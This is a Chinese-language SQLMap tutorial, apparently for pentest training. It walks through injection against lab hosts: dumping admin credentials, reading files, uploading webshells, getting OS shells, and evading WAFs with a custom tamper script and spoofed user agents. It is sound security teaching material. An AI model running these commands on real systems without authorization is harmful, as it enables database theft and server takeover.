本节课聚焦 SQLMap的实战应用------作为最强大的SQL注入自动化工具,SQLMap能覆盖从"常规数据猜解"到"高权限文件读写""绕过过滤"的全场景。核心是掌握"参数用法+场景适配",解决手动注入效率低、复杂场景(如JSON/Base64注入)难突破的问题。
一、核心知识点总览
SQLMap的核心价值是"自动化注入流程",本节课围绕5大实战场景展开,覆盖从基础到进阶的所有关键操作:
| 模块 | 核心目标 | 关键参数/工具 | 实战频率 |
|---|---|---|---|
| 数据猜解 | 自动获取库、表、列、敏感数据 | --current-db、--tables、--dump | 高 |
| 权限操作 | 高权限下文件读写、系统命令执行 | --current-user、--file-read、--os-shell | 中(依赖权限) |
| 提交方法适配 | 处理POST/JSON/Cookie等非GET注入 | -r、--data、--cookie | 高 |
| Tamper脚本 | 绕过关键字过滤、编码转换(如Base64) | --tamper、自定义Python脚本 | 中(过滤场景) |
| 分析与调试 | 避坑、扫描更多注入点、隐藏工具特征 | -v、--proxy、--random-agent、--level | 高 |
二、数据猜解:自动化获取库表列数据
核心是用SQLMap自动完成"判断注入点→猜库→猜表→猜列→导出数据"的流程,无需手动构造Payload,还能解决字典缺失的问题。
2.1 常规猜解命令(基础必会)
| 操作目标 | 命令示例(以GET注入为例) | 说明 |
|---|---|---|
| 验证注入点+获取当前库 | python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --current-db | 先确认注入点,再定位当前数据库(如fyblog) |
| 获取指定库的所有表 | python sqlmap.py -u "URL" --tables -D "fyblog" | -D指定数据库名,列出所有表(如admin) |
| 获取指定表的所有列 | python sqlmap.py -u "URL" --columns -T "admin" -D "fyblog" | -T指定表名,列出列(如username、password) |
| 导出指定列的数据 | python sqlmap.py -u "URL" --dump -C "username,password" -T "admin" -D "fyblog" | --dump导出数据,自动解密简单MD5密码 |
2.2 避坑点:字典缺失导致表名猜不到
问题场景
如果目标表名非常规(如adminxiaodi),SQLMap默认字典中没有,会导致无法猜出表名。
解决方法
- 找到SQLMap的字典目录:sqlmap/data/txt(如案例中的G:\develop\safety\ONE-FOX集成工具箱\gui_scan\sqlmap\data\txt);
- 打开common-tables.txt,添加自定义表名(如adminxiaodi);
- 重新执行--tables命令,SQLMap会加载新字典,成功猜出表名。
2.3 关键提示
- 优先用--current-db定位当前数据库,避免直接--tables(会遍历所有库,耗时且杂乱);
- 线程设置:默认1线程,可手动输入10(根据目标服务器性能调整,避免请求过快被拦截);
- 数据保存:SQLMap会自动将导出的数据保存在本地(以目标IP/域名命名的目录中),可直接查看。
三、权限操作:高权限注入的进阶用法
当数据库用户为root@localhost(高权限)时,SQLMap可实现"文件读写""系统命令执行",直接获取服务器控制权。
3.1 权限判断(关键前提)
| 参数 | 作用 | 注意事项 |
|---|---|---|
| --is-dba | 判断当前用户是否为DBA(数据库管理员) | 可能误报,不推荐作为唯一依据 |
| --current-user | 获取当前数据库用户(如root@localhost) | 推荐!准确判断权限,root即高权限 |
| --privileges | 查看当前用户权限 | 输出结果较抽象,需结合true/false判断 |
3.2 高权限核心操作
1. 文件操作(读取/写入)
| 操作类型 | 命令示例 | 说明 |
|---|---|---|
| 读取文件 | python sqlmap.py -u "URL" --file-read "F:\1.txt" | 读取目标服务器文件(需绝对路径) |
| 写入文件 | python sqlmap.py -u "URL" --file-write "F:\1.txt" --file-dest "C:\123.txt" | 将本地文件写入目标服务器(如写木马) |
2. 系统命令执行
| 操作类型 | 命令示例 | 说明 |
|---|---|---|
| 单条命令 | python sqlmap.py -u "URL" --os-cmd "calc" | 执行系统命令(如Windows打开计算器) |
| 获取交互Shell | python sqlmap.py -u "URL" --os-shell | 获得系统命令行(需指定网站根目录路径) |
| SQL交互Shell | python sqlmap.py -u "URL" --sql-shell | 直接执行SQL命令(如select version()) |
3.3 避坑点
- 文件操作需secure_file_priv配置为空(MySQL默认关闭,需修改my.ini后重启);
- --os-shell需目标服务器支持(如PHP+Windows),且需手动输入网站根目录(如G:\develop\phpstudy_pro\WWW\dome01);
- 高权限操作仅适用于root用户,普通用户(如test@localhost)无此权限。
四、提交方法适配:处理非GET注入场景
SQL注入不仅存在于GET参数,POST表单、JSON、Cookie、HTTP头都可能是注入点,需用对应参数适配。
4.1 核心参数对比(推荐用-r)
| 注入场景 | 推荐参数 | 命令示例 | 关键注意事项 |
|---|---|---|---|
| GET注入 | 直接-u | python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" | 最简单,直接跟URL参数 |
| POST表单注入 | -r 文件名(优先)或--data | python sqlmap.py -r "head.txt" | 1. 抓包保存请求到head.txt; 2. 注入点用*标记(如uname=test*&pass=test); 3. 目标URL是接收POST数据的URL(非登录页) |
| JSON格式注入 | -r 文件名 | python sqlmap.py -r "json.txt" | 用--data会因引号冲突报错,必须用-r读取请求文件 |
| Cookie注入 | --cookie或-r | python sqlmap.py -u "URL" --cookie "session=123456*" | 注入点用*标记Cookie中的参数 |
4.2 实战示例:JSON格式注入(避坑重点)
问题场景
直接用--data提交JSON数据会报错(引号冲突):
python sqlmap.py -u "http://192.168.137.1:84/sqli/json_check.php" --data '{"username":"admin","password":"123456"}'
→ 报错"所有参数不可注入"。
正确步骤
- 抓包JSON请求,复制完整请求(含请求头和JSON数据);
- 保存到json.txt,在注入点加*(如"username":"admin*","password":"123456*");
- 执行命令:python sqlmap.py -r "json.txt" → 自动识别JSON格式,成功找到注入点。
4.3 核心结论
- 无论哪种请求格式,优先用-r参数(读取请求文件),避免格式冲突和参数遗漏;
- 注入点标记*是关键:手动指定注入位置,减少SQLMap盲目扫描的时间。
五、Tamper脚本:绕过过滤与编码转换
Tamper脚本是SQLMap的"绕过神器",用于处理"关键字过滤""编码注入"(如Base64)等场景,本质是对Payload进行预处理后再发送。
5.1 自带Tamper脚本使用(基础场景)
示例:Base64编码注入
场景
目标注入点参数是Base64编码(如id=MQ==对应id=1),直接注入会因编码问题失败。
步骤
- 验证注入点(失败):python sqlmap.py -u "http://192.168.137.1:84/sqli/base64.php?id=MQ==" → 无注入点;
- 使用Base64解码脚本:python sqlmap.py -u "URL" --tamper=base64encode.py → SQLMap自动对Payload进行Base64编码,成功注入。
常用自带Tamper脚本
| 脚本名 | 作用 | 适用场景 |
|---|---|---|
| base64encode.py | 对Payload进行Base64编码 | Base64编码的注入点 |
| upper.py | 将Payload关键字转为大写 | 过滤小写关键字(如select) |
| space2comment.py | 用注释替换空格(如select/* */1) | 过滤空格的注入点 |
5.2 自定义Tamper脚本开发(进阶)
开发思路
- 分析过滤规则(如过滤SELECT、OR、AND等关键字);
- 编写Python脚本,对Payload中的关键字进行替换(如大小写混淆);
- 将脚本放入sqlmap/tamper目录,用--tamper调用。
脚本模板(绕过关键字过滤)
# 导入SQLMap的优先级枚举
from lib.core.enums import PRIORITY
# 设置脚本优先级(LOW即可)
priority = PRIORITY.LOW
# 声明依赖(无依赖则空实现)
def dependencies():
pass
# 核心函数:处理Payload
def tamper(payload, **kwargs):
if payload: # 若Payload不为空
# 大小写混淆替换关键字,绕过过滤
payload = payload.replace('SELECT', 'sElEct')
payload = payload.replace('OR', 'Or')
payload = payload.replace('AND', 'And')
payload = payload.replace('SLEEP', 'SleeP')
return payload # 返回处理后的Payload
使用方法
- 将脚本保存为test.py,放入sqlmap/tamper目录;
- 执行命令:python sqlmap.py -u "URL" --tamper=test.py → 成功绕过关键字过滤。
5.3 避坑点
- 脚本需符合SQLMap的格式(必须包含dependencies()和tamper()函数);
- 替换后的Payload需合法(如sElEct仍能被数据库识别);
- 脚本放置路径正确(sqlmap/tamper,否则SQLMap找不到)。
六、分析拓展:调试、避坑与特征隐藏
实战中需解决"注入失败找不到原因""被WAF识别""扫描不到所有注入点"等问题,需用到SQLMap的调试和拓展参数。
6.1 调试等级(-v)
通过-v [0-6]控制输出详细程度,用于排查注入失败原因:
| 等级 | 输出内容 | 适用场景 |
|---|---|---|
| -v 0 | 仅显示错误和关键消息 | 快速扫描 |
| -v 4 | 显示HTTP请求详情 | 查看Payload是否被正确处理(如Tamper是否生效) |
| -v 6 | 显示完整HTTP响应(含页面内容) | 排查注入点无回显的原因 |
示例:验证Tamper脚本是否生效
# 不使用Tamper,查看原始Payload
python sqlmap.py -u "URL" -v 4
# 使用自定义Tamper,查看处理后的Payload
python sqlmap.py -u "URL" --tamper=test.py -v 4
→ 对比发现Payload中OR变为Or,证明脚本生效。
6.2 隐藏工具特征(避WAF)
1. 随机User-Agent(避免被识别为SQLMap)
# 随机生成User-Agent
python sqlmap.py -u "URL" --random-agent
# 自定义User-Agent
python sqlmap.py -u "URL" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/138.0.0.0 Safari/537.36"
2. 延迟请求(避免请求过快被拦截)
# 每个请求延迟2-5秒(随机)
python sqlmap.py -u "URL" --time-sec=(2,5)
6.3 调整扫描等级(--level/--risk)
- --level [1-5]:控制扫描深度(默认1),等级越高,扫描的参数越多(如HTTP头、Cookie);
- --risk [0-3]:控制扫描风险(默认1),等级越高,使用的Payload越危险(如UPDATE/DELETE语句)。
实战示例:扫描更多注入点
# 高等级扫描(可能发现HTTP头注入点,如User-Agent)
python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" --level=3 --risk=2
→ 可能扫描出隐藏的注入点(如User-Agent注入),而默认等级扫描不到。
6.4 代理注入(便于分析流量)
通过BurpSuite代理SQLMap的请求,查看完整的注入流量:
python sqlmap.py -u "URL" --proxy "http://127.0.0.1:8080"
→ 开启Burp的代理(默认8080端口),即可在Burp中看到SQLMap发送的所有请求和响应。
七、核心命令总结与实战技巧
7.1 必记核心命令
| 功能 | 命令模板 |
|---|---|
| 常规数据猜解 | sqlmap.py -u "URL" --current-db --tables -D "库名" --dump -T "表名" -C "列名" |
| 高权限文件读取 | sqlmap.py -u "URL" --current-user --file-read "目标文件路径" |
| 高权限系统命令 | sqlmap.py -u "URL" --os-shell |
| POST/JSON注入 | sqlmap.py -r "请求文件.txt" |
| 绕过Base64编码 | sqlmap.py -u "URL" --tamper=base64encode.py |
| 调试+隐藏特征 | sqlmap.py -u "URL" -v 4 --random-agent --time-sec=(2,5) |
7.2 实战技巧
- 所有操作前先验证注入点(用-u或-r),避免盲目执行高权限命令;
- 遇到过滤先尝试自带Tamper脚本,无效再自定义;
- 注入失败优先排查:注入点标记(*)是否正确、请求格式是否适配(如JSON用-r)、字典是否完整;
- 合法授权:所有测试需获得目标服务器的合法授权,禁止未经允许的渗透测试。